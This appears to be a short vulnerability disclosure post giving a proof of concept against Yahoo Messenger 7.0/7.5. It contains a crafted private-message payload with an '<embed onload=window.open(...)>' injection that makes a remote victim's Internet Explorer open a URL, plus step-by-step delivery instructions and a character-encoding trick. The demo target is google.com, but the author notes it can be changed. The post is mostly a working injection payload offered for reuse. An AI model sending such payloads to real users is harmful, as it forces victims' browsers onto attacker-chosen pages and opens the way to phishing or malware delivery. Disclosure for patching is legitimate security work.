Hi, 
I found another vulnerability in yahoo messenger that
if you receive a Private message with this string
"helomsg:+)-(%/?#()(=(/;[EMAIL PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;[EMAIL 
PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;[EMAIL 
PROTECTED](@;+?/(?#@@*-)[EMAIL PROTECTED]@;?("
 (without quotes) Yahoo messenger open in this case
google.com in the internet explorer of the remote
victim.

Yahoo messenger bug proof of concept:

1. Open messenger and log it.

2. Open a yahoo chat third party like yahelite through
Ymsgr protocol and log it with another account.

3. Send a Pm to the messenger account with this
string: s: helomsg
:+)-(%/?#()(=(/;[EMAIL PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;[EMAIL PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;[EMAIL PROTECTED](@;+?/(?#@@*-)[EMAIL PROTECTED]@;?(

4. The remote user will open www.google.com (you can
change)

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space 

s:[space]helomsg[alt+0160]:+)-(%/?#()(=(/;[EMAIL PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;[EMAIL
 PROTECTED](@;+?/(?#@@*-)[EMAIL 
PROTECTED]@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;[EMAIL
 PROTECTED](@;+?/(?#@@*-)[EMAIL PROTECTED]@;?(

Tested in yahoo messenger 7.0/7.5


Regards.


        
        
                
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